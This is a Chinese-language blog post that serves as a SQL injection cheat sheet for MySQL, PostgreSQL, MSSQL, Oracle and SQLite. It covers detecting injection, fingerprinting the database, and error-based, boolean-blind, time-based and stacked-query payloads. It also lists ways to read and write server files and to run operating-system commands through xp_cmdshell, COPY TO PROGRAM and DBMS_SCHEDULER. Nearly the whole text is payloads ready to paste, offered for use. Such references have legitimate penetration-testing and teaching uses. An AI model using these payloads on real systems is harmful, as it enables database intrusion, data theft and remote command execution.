建议收藏:SQL注入基础与各个数据库中的常用命令

SQL 注入笔记

这是一个 SQL 注入笔记,其中包含了很多常用的payload,涵盖了 5 种最流行的数据库及其衍生产品(MySQL、PostgreSQL、MSSQL/SQL Server、Oracle、SQLite)。

某些payload包含占位符,这些占位符在使用前需要被替换为具体的值。占位符以<>表示,并且使用大写字母,例如<START>。替换时需替换整个占位符(包括<>)。

避免使用 OR <true> (OR 1=1)

除了打 CTF之外,其他情况都要避免使用涉及 or 表达式的注入(例如 ‘ or 1=1 –),除非只能用or。

原因:

  1. 登录绕过不稳定

“OR 1=1” 在某些情况下可以绕过登录验证,但其效果并不稳定。通常是期望 SQL 查询返回一行匹配的数据(例如用户名和密码都正确)。如果使用 “OR 1=1″,查询可能会返回多行数据(例如整个user表),这可能导致目标拒绝登录请求。例如,查询 SELECT * FROM users WHERE username = ” OR 1=1 AND password = ” 会返回所有用户,但如果目标只在查询返回单行时才允许登录,这种方法就会失效。相比之下,使用其他方法(如注释掉密码检查部分并配合有效用户名)可能更可靠,即 “OR 1=1” 的通用性不足。

  1. 可能导致数据库过载

在某些场景(如搜索功能)中注入 “OR 1=1” 会导致数据库返回表中的所有行。如果数据库表非常大,这种操作可能会引发性能问题,甚至导致数据库过载或系统崩溃。

  1. 数据操作风险高

当 “OR 1=1” 用于 UPDATE 或 DELETE 语句时,可能会意外修改或删除大量数据。例如,在重置密码的场景中,注入 “OR 1=1” 可能会导致所有用户的密码都被更改,而不仅仅是目标用户。这种操作可能引发数据丢失或损坏,风险极高。

安全的 or 表达式的payload

但实际上也存在安全的 or 注入payload,这些 payload 可以在没有 有效查询参数 的情况下使用。

数据库 Payload  
MySQL ‘ OR IF((NOW()=SYSDATE()),SLEEP(1),1)=’0  
PostgreSQL ‘ OR (CASE WHEN ((CLOCK_TIMESTAMP() – NOW()) < ‘0:0:1’) THEN (SELECT ‘1’||PG_SLEEP(1)) ELSE ‘0’ END)=’1  
MSSQL No Known Payload  
Oracle ‘ OR ROWNUM = ‘1  
SQLite ‘ OR ROWID = ‘1  

普通测试

以下是一个简单通用的方法,用于发现基本的 SQL 注入漏洞,通过逐步操作来检测是否存在 SQL 注入。


第一步:尝试使用单引号让原有的 SQL 语句报错

首先,我们需要在某个有效的输入值中注入单引号(’)或双引号(”),以尝试“破坏”后端执行的 SQL 语句。例如:

  • 假设有一个搜索功能,搜索关键词 fuck 返回 23 个结果。

  • 在搜索关键词后附加单引号,变为 fuck’,然后提交。

  • 如果结果变为 0 个(或者直接报错),说明 SQL 语句可能因为我们插入了单引号而发生改变。 注意:这也可能是因为 fuck’ 本身是一个无效的搜索词,但后续步骤可以帮助我们确认。


第二步:尝试修复目标的sql语句检查是否恢复原始响应

可以尝试用以下方法替换注入的单引号,看看是否能恢复到原始响应(即 23 个结果)。依次尝试以下替换:

  • 将 fuck’ 替换为 fuck’ ‘(单引号后加空格和另一个单引号)

  • 将 fuck’ 替换为 fuck’||’

  • 将 fuck’ 替换为 fuck’+’

  • 将 fuck’ 替换为 fuck’ AND ‘1’=’1

  • 将 fuck’ 替换为 fuck’ — –

如果某个替换后的搜索词(如 fuck’ ‘)再次返回 23 个结果,说明原始响应被恢复了,这表明搜索功能很可能存在 SQL 注入漏洞。


第三步:处理整数值的情况

如果以上方法都无法恢复原始响应,可能是因为我们注入的字段是一个整数值(而不是字符串)。在这种情况下,尝试以下方法:

  • 将 fuck’ 替换为 fuck — –

  • 将 fuck’ 替换为 fuck AND 1=1

  • 将 fuck’ 替换为 fuck AND 1=1 — –

同样,如果某个替换后的搜索词恢复了原始响应(23 个结果),则说明可能存在 SQL 注入漏洞。


第四步:确认 SQL 注入漏洞

为了进一步确认是否存在 SQL 注入,可以尝试以下方法:

方法 1:尝试 UNION 注入攻击

  • 构造一个 UNION 注入 payload,例如 fuck’ UNION SELECT 1,2,3 — -。

  • 如果返回结果异常(例如额外的数据或有明显的数据库报错),则更加确定存在sql注入。

方法 2:注入布尔值 payload

  • 构造两个布尔值 payload:

    • fuck’ AND ‘1’=’1(应该返回原始响应,即 23 个结果)

    • fuck’ AND ‘1’=’0(应该返回 0 个结果)

  • 如果结果符合预期(第一个 payload 返回 23 个结果,第二个返回 0 个结果),则基本上可以确认存在 SQL 注入漏洞。

识别数据库

一旦通过上面的方法发现了sql注入,可以通过下面这些payload来识别到底是什么数据库。

编号 Payload 数据库类型
1 AND ‘foo’ ‘bar’ = ‘foobar’ MySQL
2 AND DATALENGTH(‘foo’) = 3 MSSQL
3 AND TO_HEX(1) = ‘1’ PostgreSQL
4 AND LENGTHB(‘foo’) = ‘3’ Oracle
5 AND GLOB(‘foo*’, ‘foobar’) = 1 SQLite

注释

注释语法可用于在 SQL 语句中添加注释,可以用于注释位于注入语句后的那些原本的内容,以及绕过某些过滤。需要注意”–“注释需要在”–“后加上空格才有效,而 /*comment*/ 是行内注释。

MySQL # /*comment*/
PostgreSQL /*comment*/
MSSQL /*comment*/
Oracle /*comment*/
SQLite /*comment*/
   

字符串链接

这些函数/操作符可用于将两个或多个字符串连接在一起。

数据库 函数 / 操作符
MySQL ‘foo’ ‘bar’ CONCAT(‘foo’, ‘bar’)
PostgreSQL ‘foo’||’bar’ CONCAT(‘foo’, ‘bar’)
MSSQL ‘foo’+’bar’ CONCAT(‘foo’, ‘bar’)
Oracle ‘foo’||’bar’ CONCAT(‘foo’, ‘bar’)
SQLite ‘foo’||’bar’ CONCAT(‘foo’, ‘bar’)
   

子字符串

这些函数可以用来选择一个字符串的子字符串。START 值应设置为 1(而不是 0),以便从第一个字符开始提取子字符串。还包括无逗号的版本,用于绕过某些 WAF(Web 应用防火墙)或过滤机制。

数据库 示例 说明
MySQL SUBSTRING(‘foobar’, <START>, <LENGTH>) SUBSTR(‘foobar’, <START>, <LENGTH>) MID(‘foobar’, <START>, <LENGTH>) SUBSTRING(‘foobar’ FROM <START> FOR <LENGTH>) SUBSTRMID 也可以用于这种无逗号的版本。
PostgreSQL SUBSTRING(‘foobar’, <START>, <LENGTH>) SUBSTR(‘foobar’, <START>, <LENGTH>) SUBSTRING(‘foobar’ FROM <START> FOR <LENGTH>)  
MSSQL SUBSTRING(‘foobar’, <START>, <LENGTH>)  
Oracle SUBSTR(‘foobar’, <START>, <LENGTH>)  
SQLite SUBSTRING(‘foobar’, <START>, <LENGTH>) SUBSTR(‘foobar’, <START>, <LENGTH>)  

长度

这些函数以字节或字符为单位计算字符串的长度(由于 Unicode 的存在,某些字符可以有多个字节)。

数据库 示例
MySQL LENGTH(‘foo’) CHAR_LENGTH(‘foo’)
PostgreSQL LENGTH(‘foo’)
MSSQL DATALENGTH(‘foo’) LEN(‘foo’)
Oracle LENGTHB(‘foo’) LENGTH(‘foo’)
SQLite LENGTH(‘foo’)

分组连接

这些函数将多行结果中的值连接成一个单独的字符串。用你希望分隔每个值的字符串或字符(例如逗号)替换 <DELIMITER>

什么是 GROUP_CONCAT?

  • GROUP_CONCAT 是一个聚合函数,主要在 MySQL 和 MariaDB 中使用(其他数据库如 PostgreSQL 有类似功能,例如 STRING_AGG)。

  • 它的作用是将一组行中的值(通常来自同一分组)连接成一个单一的字符串。

  • 常用于 GROUP BY 查询中,将多行数据合并为一行。

数据库 示例
MySQL GROUP_CONCAT(expression, ‘<DELIMITER>‘)
PostgreSQL STRING_AGG(expression, ‘<DELIMITER>‘)
MSSQL STRING_AGG(expression, ‘<DELIMITER>‘)
Oracle LISTAGG(expression, ‘<DELIMITER>‘)
SQLite GROUP_CONCAT(expression, ‘<DELIMITER>‘)

将字符转换为整数用于进行比较

这对sql盲注很有用,可以确定字符所在的范围。注意,MySQL 和 Oracle 的函数输出的是十六进制数,而其他数据库输出的是十进制数。

数据库 例子 输出
MySQL HEX(‘a’) 61
PostgreSQL ASCII(‘a’) 97
MSSQL UNICODE(‘a’) 97
Oracle RAWTOHEX(‘a’) 61
SQLite UNICODE(‘a’) 97

限制与偏移查询

用于限制查询结果返回特定行数以及偏移起始行的语法,包括不使用逗号的语法,以便绕过某些 WAF(Web 应用防火墙)或过滤机制。

数据库 将查询结果限制为 1 行 限制为 1 行,从第 5 行开始
MySQL SELECT * FROM users LIMIT 1 SELECT * FROM users LIMIT 4, 1 SELECT * FROM users LIMIT 1 OFFSET 4
PostgreSQL SELECT * FROM users LIMIT 1 SELECT * FROM users LIMIT 1 OFFSET 4
MSSQL SELECT * FROM users ORDER BY 1 OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY SELECT * FROM users ORDER BY 1 OFFSET 4 ROWS FETCH NEXT 1 ROWS ONLY
Oracle >= v12 SELECT * FROM users FETCH NEXT 1 ROWS ONLY SELECT * FROM users OFFSET 4 ROWS FETCH NEXT 1 ROWS ONLY
Oracle <= v11 SELECT * FROM users WHERE ROWNUM = 1 SELECT * FROM users WHERE ROWNUM = 5
SQLite SELECT * FROM users LIMIT 1 SELECT * FROM users LIMIT 4, 1 SELECT * FROM users LIMIT 1 OFFSET 4
     

数据库版本

提供数据库版本信息的函数和操作符。

数据库 函数 / 运算符
MySQL @@VERSION VERSION() @@GLOBAL.VERSION
PostgreSQL VERSION()
MSSQL @@VERSION
Oracle SELECT BANNER FROM v$version WHERE ROWNUM = 1 SELECT BANNER FROM gv$version WHERE ROWNUM = 1
SQLite sqlite_version()

数据库列表

查询数据库列表

数据库 语句
MySQL SELECT DATABASE()
PostgreSQL SELECT CURRENT_DATABASE() SELECT CURRENT_SCHEMA()
MSSQL SELECT DB_NAME() SELECT SCHEMA_NAME()
Oracle SELECT name FROM V$database SELECT * FROM global_name SELECT sys_context(‘USERENV’, ‘CURRENT_SCHEMA’) FROM dual;
SQLite N/A

数据库的表

查询指定数据库中的所有表

数据库 语法
MySQL SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=’<DBNAME> SELECT database_name,table_name FROM mysql.innodb_table_stats WHERE database_name=’<DBNAME>
PostgreSQL SELECT tablename FROM pg_tables WHERE schemaname = ‘<SCHEMA_NAME>’ SELECT table_name FROM information_schema.tables WHERE table_schema='<SCHEMA_NAME>’
MSSQL SELECT table_name FROM information_schema.tables WHERE table_catalog=’<DBNAME> SELECT name FROM <DBNAME>..sysobjects WHERE xtype=’U’
Oracle SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER=’<DBNAME>
SQLite SELECT tbl_name FROM sqlite_master WHERE type=’table’

表中的列

查询指定数据库中的表的所有列

数据库 语法
MySQL SELECT column_name,column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='<TABLE_NAME>’ AND table_schema=’<DBNAME>
PostgreSQL SELECT column_name,data_type FROM information_schema.columns WHERE table_schema=’<DBNAME>‘ AND table_name='<TABLE_NAME>’
MSSQL SELECT COL_NAME(OBJECT_ID(‘<DBNAME>.<TABLE_NAME>’), <INDEX>)
Oracle SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='<TABLE_NAME>’ AND OWNER=’<DBNAME>
SQLite SELECT MAX(sql) FROM sqlite_master WHERE tbl_name='<TABLE_NAME>’ SELECT name FROM PRAGMA_TABLE_INFO(‘<TABLE_NAME>’)
   

布尔判断检测

这些payload会在SQL查询的时候引发报错,前提是1=1的条件为真,将1=1替换为你想要测试的条件;如果错误反馈到响应中(例如500内部服务器错误),那么该条件就是成立的。

数据库 Payload
MySQL AND 1=(SELECT IF(1=1,(SELECT table_name FROM information_schema.tables),1))
PostgreSQL AND 1=(SELECT CASE WHEN (1=1) THEN CAST(1/0 AS INTEGER) ELSE 1 END)
MSSQL AND 1=(SELECT CASE WHEN (1=1) THEN 1/0 ELSE 1 END)
Oracle AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE ‘1’ END FROM dual)
SQLite AND 1=(SELECT CASE WHEN (1=1) THEN load_extension(1) ELSE 1 END) AND 1=(SELECT CASE WHEN (1=1) THEN abs(-9223372036854775808) ELSE 1 END)
   

报错检测

这些payload会导致数据库错误,并在错误中返回数据库的版本信息。

MySQL

Payload
AND GTID_SUBSET(CONCAT(‘~’,(SELECT version()),’~’),1337) — –
AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT(‘~’,(SELECT version()),’~’)) USING utf8))) — –
AND EXTRACTVALUE(1337,CONCAT(‘.’,’~’,(SELECT version()),’~’)) — –
AND UPDATEXML(1337,CONCAT(‘.’,’~’,(SELECT version()),’~’),31337) — –
OR 1 GROUP BY CONCAT(‘~’,(SELECT version()),’~’,FLOOR(RAND(0)*2)) HAVING MIN(0) — –
AND EXP(~(SELECT * FROM (SELECT CONCAT(‘~’,(SELECT version()),’~’,’x’))x)) — –

PostgreSQL

Payload
AND 1337=CAST(‘~’||(SELECT version())::text||’~’ AS NUMERIC) — –
AND (CAST(‘~’||(SELECT version())::text||’~’ AS NUMERIC)) — –
AND CAST((SELECT version()) AS INT)=1337 — –
AND (SELECT version())::int=1 — –

MSSQL

Payload
AND 1337 IN (SELECT (‘~’+(SELECT @@version)+’~’)) — –
AND 1337=CONVERT(INT,(SELECT ‘~’+(SELECT @@version)+’~’)) — –
AND 1337=CONCAT(‘~’,(SELECT @@version),’~’) — –

Oracle

Payload
AND 1337=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||’~’||(REPLACE(REPLACE(REPLACE(REPLACE((SELECT banner FROM v$version),’ ‘,’_’),’$’,'(DOLLAR)’),’@’,'(AT)’),’#’,'(HASH)’))||’~’||CHR(62))) FROM DUAL) — –
AND 1337=UTL_INADDR.GET_HOST_ADDRESS(‘~’||(SELECT banner FROM v$version)||’~’) — –
AND 1337=CTXSYS.DRITHSX.SN(1337,’~’||(SELECT banner FROM v$version)||’~’) — –
AND 1337=DBMS_UTILITY.SQLID_TO_SQLHASH(‘~’||(SELECT banner FROM v$version)||’~’) — –

延时注入

简单的延时注入

请注意,这些payload本质上是有危险的,因为sleep函数可能会执行多次,它们将导致数据库在查询的每一行中休眠 10 秒。

只有在确定注入的查询只影响一条记录时,才可使用。

数据库 Payload
MySQL AND SLEEP(10)=0
PostgreSQL AND ‘RANDSTR’||PG_SLEEP(10)=’RANDSTR’
MSSQL AND 1337=(CASE WHEN (1=1) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE 1337 END)
Oracle AND 1337=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE(‘RANDSTR’,10) ELSE 1337 END)
SQLite AND 1337=LIKE(‘ABCDEFG’,UPPER(HEX(RANDOMBLOB(1000000000/2))))

复杂一些的延时注入

这些payload是相对安全的,只能休眠一次,将1=1替换为要测试的语句即可,如果延迟了十秒,则为真

数据库 Payload
MySQL AND (SELECT 1337 FROM (SELECT(SLEEP(10-(IF((1=1),0,10))))) RANDSTR)
PostgreSQL AND 1337=(CASE WHEN (1=1) THEN (SELECT 1337 FROM PG_SLEEP(10)) ELSE 1337 END)
MSSQL AND 1337=(CASE WHEN (1=1) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE 1337 END)
Oracle AND 1337=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE(‘RANDSTR’,10) ELSE 1337 END)
SQLite AND 1337=(CASE WHEN (1=1) THEN (SELECT 1337 FROM (SELECT LIKE(‘ABCDEFG’,UPPER(HEX(RANDOMBLOB(1000000000/2)))))) ELSE 1337 END)

堆叠注入

数据库 Payload
MySQL ; SLEEP(10) — –
PostgreSQL ; PG_SLEEP(10) — –
MSSQL ; WAITFOR DELAY ‘0:0:10’ — –
Oracle ; DBMS_PIPE.RECEIVE_MESSAGE(‘RANDSTR’,10) — –
SQLite ; RANDOMBLOB(1000000000/2) — –

下列payload中,如果 1=1 成立,这些payload就会导致 10 秒的延迟。将 1=1 替换为你想要测试的条件;如果出现 10 秒的延迟,就说明该条件成立。

数据库 Payload
MySQL ; SELECT IF((1=1),SLEEP(10),1337)
PostgreSQL ; SELECT (CASE WHEN (1=1) THEN (SELECT 1337 FROM PG_SLEEP(10)) ELSE 1337 END)
MSSQL ; IF(1=1) WAITFOR DELAY ‘0:0:10’
Oracle ; SELECT CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE(‘RANDSTR’,10) ELSE 1337 END FROM DUAL
SQLite ; SELECT (CASE WHEN (1=1) THEN (LIKE(‘ABCDEFG’,UPPER(HEX(RANDOMBLOB(1000000000/2))))) ELSE 1337 END)

读取文件

这些函数可以读取本地文件的内容。另外,只有在可以进行堆叠注入的情况下,才能使用 Oracle 方法。SQLite 的 readfile 函数并非其核心函数。

数据库 函数
MySQL LOAD_FILE(‘/path/to/file’)
PostgreSQL PG_READ_FILE(‘/path/to/file’)
MSSQL OPENROWSET(BULK ‘C:\path\to\file’, SINGLE_CLOB)
Oracle utl_file.get_line(utl_file.fopen(‘/path/to/’,’file’,’R’), <buffer>)
SQLite readfile(‘/path/to/file’)

写入文件

这些语句可以将内容写入本地文件。只有在可以进行堆叠注入的情况下,才能使用 PostgreSQL、MSSQL 和 Oracle 的方法。MSSQL 需要启用 “Ole Automation Procedures”。

数据库 语句
MySQL SELECT ‘contents’ INTO OUTFILE ‘/path/to/file’
PostgreSQL COPY (SELECT ‘contents’) TO ‘/path/to/file’
MSSQL execute spWriteStringToFile ‘contents’, ‘C:\path\to, ‘file’
Oracle utl_file.put_line(utl_file.fopen(‘/path/to/’,’file’,’R’), <buffer>)
SQLite SELECT writefile(‘/path/to/file’, column_name) FROM table_name

执行命令

这些语句执行本地操作系统命令。只有在可以进行堆叠注入的情况下,才能使用 PostgreSQL、MSSQL 和第二种 Oracle 方法。第一种 Oracle 方法需要使用 OS_Command 包。

数据库 语句
MySQL Not Possible
PostgreSQL COPY (SELECT ”) to program ‘<COMMAND>
MSSQL EXEC xp_cmdshell ‘<COMMAND>
Oracle SELECT os_command.exec_clob(‘<COMMAND>‘) cmd from dual DBMS_SCHEDULER.CREATE_JOB (job_name => ‘exec’, job_type => ‘EXECUTABLE’, job_action => ‘<COMMAND>‘, enabled => TRUE)
SQLite Not Possible
© 版权声明
THE END
喜欢就支持一下吧
点赞33 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容